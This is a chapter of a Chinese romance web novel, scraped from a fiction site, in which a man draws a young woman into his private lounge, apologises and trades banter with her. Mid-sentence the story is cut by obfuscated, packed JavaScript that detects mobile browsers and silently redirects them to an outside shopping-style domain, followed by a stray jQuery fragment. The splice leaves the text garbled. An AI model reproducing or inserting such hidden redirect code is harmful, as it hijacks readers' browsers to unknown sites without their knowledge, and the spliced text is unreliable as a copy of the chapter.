文趣网 > 其他小说 > 欲落未落 > 11. 暗星
    周曼娜从前就知道李家这位不好惹,没想到他还真能这么下自己哥哥的面子。

    但比起哥哥,她的注意力还是被李景越揽着佳蓓肩膀的那只手臂吸引了。

    她如遭雷击般看着那两人往出口走的背影。

    “他、她,他们……”

    周自衡摸着怀里动来动去的小狗脑袋,看了眼曼娜惊讶的样子,无奈地叹了口气:“两人一早认识,不就是一条狗,至于嘛?”

    后半句,明显是说给刚才镇住场面的人听的。

    可惜那人已经消失在厚重的门帘外。

    周自骁拾起佳蓓扔掉的球拍,仔细地检查着磕碰痕迹,瞥见自己老姐的反应,随口接了句:“噢,景越哥是佳蓓叔叔来的。”

    “叔叔?”周曼娜觉得这个关系不亚于她昨天刷到营销号说关晓彤是郭德纲的‘姑奶奶’的震惊程度。

    周自骁笑着说:“大惊小怪了啊姐,你不想想佳蓓姓什么?”

    周曼娜张了张嘴,欲言又止了好几次才说开口:“张阿姨辈分那么大呀。”

    周自骁见怪不怪,从前他们这些同学知道佳蓓有个这么年轻的叔叔都是惊讶,他刚想补几句就被一旁的大哥打断。

    “曼娜,别在李景越面前跟着喊什么叔叔啊,你也看到了,那人脾气臭得很。”

    周自衡说着,怀里的哆咪突然汪了一声,他赶忙低头寻求附和:“是不是臭人?”

    周曼娜也被面前一对人狗的互动可爱到了,走上前逗弄着哆咪。

    周自骁看着自家姐姐心大的样子,摇了摇头,也跟着劝:“佳蓓也听不得什么侄女,从前景越哥来给佳蓓开家长会,给老师介绍是她的叔叔,那天我就撞见佳蓓和景越哥闹了好大的脾气。”

    周曼娜本是无心地听着,听完却陷入了思考:“那怎么之前俩人……该是说佳佳,一副不认识景越哥哥的样子。”

    周自衡弓着腰方便周曼娜和哆咪玩,深深地看了她一眼,只是评了一句:“家家有本难念的经。”

    待那厚重的门帘落下,走廊里是和球场内不一样的光影,两人状态亲密地走在偏暖的射灯下,佳蓓在想是不是灯光色温不同,连温度也有偏差。

    佳蓓轻扭了下肩膀,脱离开了李景越那只虚扶着的胳膊。

    李景越短暂地失神后,笑着看着佳蓓有些紧绷的背影,语气轻松:“长大了,如今知道在外人面前不落我的面子了。”

    佳蓓回眸看了他一眼,眼神晦涩难辨,原本是不想搭理他的,可她还是没忍住:“逞了这么大威风,我再当众甩你脸子,你不得吐血?”

    “牙尖嘴利。”李景越毫不避讳地评她,“你别不理我,怎么样都行吧。”

    佳蓓自觉不想纠缠,走过长长的走廊,两人一前一后,到了个拐角,她直愣愣地就往前走,突然就被后头的人一把扯住了胳膊。

    不过是过了一周的光景,上回捏住的还是羊绒衫,这次就是毫无遮挡的细腻肌肤,李景越环握住佳蓓纤细的胳膊,心里叹了一句,无论如何还是瘦了。

    他从前看不惯佳蓓的羸弱,又着迷于她的纤细,每每捏住佳蓓那仿佛一用力便折断的手腕脚腕,他只觉得天人交战。

    那是恶劣的保护欲与纯洁的占有欲。

    “去哪里?”

    佳蓓只觉得两人肌肤接触的地方灼热无比,她轻轻挣扎:“放开呀!”

    李景越垂眸看着只到自己下巴的小人儿,配着她嘴里娇滴滴的反抗声,他感觉颈侧那根动脉狠狠地跳动了几下。

    他反手拉着人,也不管她嘴里的不同意,带着就往拐角去。

    从明到暗,佳蓓的眼睛总是难适应,她只知道被李景越拽进了一间屋子,至于其他,除了身前把她罩在门板上的人,她一无所知。

    房间里飘着佳蓓记忆里熟悉的茶香味,她突然了悟,这里并不是什么奇怪的地方。

    可是头顶的呼吸声越来越沉重,在静谧的空间里越来越无法忽视,佳蓓抬手轻推了推他:“走开呀。”

    李景越也没别的意思,只抓住了她的左手指节,放在掌心里揉了又揉,轻声开口问她:“还怕不怕?”

    佳蓓呸他:“怕!能不怕嘛?突然被抓到这么黑咕隆咚的地方,谁不怕?”

    李景越失笑:“怎么还是这么可爱?”

    佳蓓慢慢适应了室内的光线,和李景越说话她早习惯了仰着头,现在也一样。

    伴随着李景越的笑声,佳蓓注意到了李景越眼里的光亮。

    那渺小又无法忽视的亮光,像乌云密布的夜空中独独能看见的一番星。

    “你敢再乱来,我就……”

    “你就怎么样?”李景越飞快地截了突然亮出獠牙的人的话头。

    “我就……”佳蓓突然泄气,她总不好再打他了,“我就一辈子不理你了!”

    李景越轻笑一声,语气无奈:“我还以为佳蓓小朋友要幼稚地告家长呢。”

    佳蓓轻哼,刚要接茬,又听到对面人说:“我也以为,你早打算一辈子不理我了。”

    气氛随着他突然低落的语气也变得凝重了些。

    佳蓓有些失神,又不知该如何回答。

    李景越还是松开了抓着她的那只手,又抬手整理了下她鬓角的碎发,接着突然拍了拍她的肩膀:“那天的事情,我向你道歉,佳蓓。”

    佳蓓忽然没理解,他说的是哪天。

    她短暂纷飞的神思,被突然覆在眼睛上的手掌拉回。

    透着手指的缝隙,她看到了亮光,伴着开关的轻响,耳畔是一向心高气傲之人诚恳的道歉:“抱歉,实在是不该没在乎你的感受。”

    佳蓓也没分清,他说的到底是那枚不合适的吻,还是他过度共情的不甘。

    但随着两人的呼吸不自觉得像案台上燃着的禅茶线香释出的青烟般纠缠在一起,佳蓓突然闭上了眼睛。

    她下意识的预知并没有发生,那只盖着她眼睛的手掌慢慢离开,失去早已适应的热源,佳蓓的眼皮像被室内的冷气猛地叮了一口。

    再睁眼,那人已经站在冰箱前,拿出两瓶矿泉水走向沙发。

    李景越见佳蓓站着不动,招呼她:“这儿是我的休息室,以后你来老二这里,随意用就是,不必和人挤一间更衣室。”

    刚才的一切,好似错觉。

    佳蓓撇了撇嘴,只当他的话是空气,转身就要走。

    沙发上的人高声喊住她:“又气什么?一句招呼没有就走?”

    佳蓓握着门把手的那只手悬停住,身后那人说话一向刁钻,好似她此刻走了便坐实

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840300|211579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了蛮横不懂礼貌。

    “我去拿我的东西!不是说让我用?”佳蓓转身,手却扭在身后还捏着门把手。

    李景越无奈地摇了摇头,起身走到佳蓓身侧,伸手摘了她身后扶着门把的那只手,轻轻牵着往里间走:“什么时候要你废腿了?进去洗把脸,我让人把东西送过来。”

    “洗脸做什么?”佳蓓难免有些气鼓鼓的,对上这个人,总是不顺意。

    他温柔劝她:“妆都哭花了,快去洗洗,等会儿我来陪你练。”

    佳蓓下意识地摸了摸眼角,转身推门进了里头的洗手间,一照镜子,果然洋相得很。

    她觉得丢脸,赶忙关上了门。

    佳蓓自我懊悔了一会儿,才打起精神决定收拾一下,可环顾了一圈再打开镜柜,这里除了李景越常用的洗漱用品,哪有可以卸妆的。

    她一时犯了难,纠结着要不就用洗面奶算了。

    门外有了敲了敲,佳蓓拉开一条缝,外头的人也不急得进来,只递进来一个丝绒袋子。

    “找人准备的,不是你以前……也不知道你现在爱用什么牌子,一会儿出来告诉我。”

    佳蓓嘟囔了一句谁稀罕,但也摘了那个布袋。

    “我就在外头,有什么事叫我。”

    说完,李景越自觉拉上了门,不再打扰她。

    佳蓓咬着下唇拉开布袋的抽绳口,见到里头从卸妆洁面到护肤一应的中样,不由得一愣。

    她想起了曾经台盆边拧紧盖子排列整齐的瓶瓶罐罐,那种难以言状的情绪,让她的内心短暂地起伏了一下。

    但也只是偶然。

    佳蓓打开水龙头开关,盯着那惨白的流水,慢慢定下心神。

    她卸了妆,再仔细涂抹了护肤品,镜子的补光灯照亮了她素净的小脸,佳蓓对着镜子里的自己笑了笑,收拾干净台面的水渍便拉门出去。

    外间的灯没有全开,尤其是窗帘也拉着,佳蓓刚拉开门,只觉得外头有些昏暗。

    她将手里擦手的洗脸巾团成一团,扔进垃圾桶后随意地抬起头,视线被沙发前那道半裸的身影吸引。

    男人正背对着她,上身赤裸,旁边的沙发上随意地散落着他刚换下的西服与衬衫,随着他双手高举伸进衣袖的动作,牵动背肌反射着力量的光影。

    佳蓓盯着李景越的冷白皮,不自觉地抿了抿嘴。

    她倒不觉得尴尬,瞥见矮柜上自己的运动包,目不斜视地往那边走。

    李景越听到佳蓓的脚步声,回头看了她一眼,素颜的她总让人觉得柔软且毫无攻击性。

    当然事实并非如此,他借着放衣服的动作走到她身边,果然就瞥见她偷偷翻了个白眼,并且小声嘟囔了句:“不要脸。”

    李景越合上衣柜门,歪头无奈地问她:“又骂谁呢?”

    佳蓓从运动包中翻出空顶帽,转身对着李景越,她心里也不得不承认,脱去那身西服,他运动装的打扮,永远都是少年感十足的。

    但她心里还是觉得这人就是故意的,自己在里头待了那么久,怎么出来就撞见换衣服呢?

    知道自己身材好,就这么乱秀是不是?

    不守男德!

    佳蓓这么多年早就不怕他了,仰起头理直气壮地对他说:“谁耍流氓就说谁!”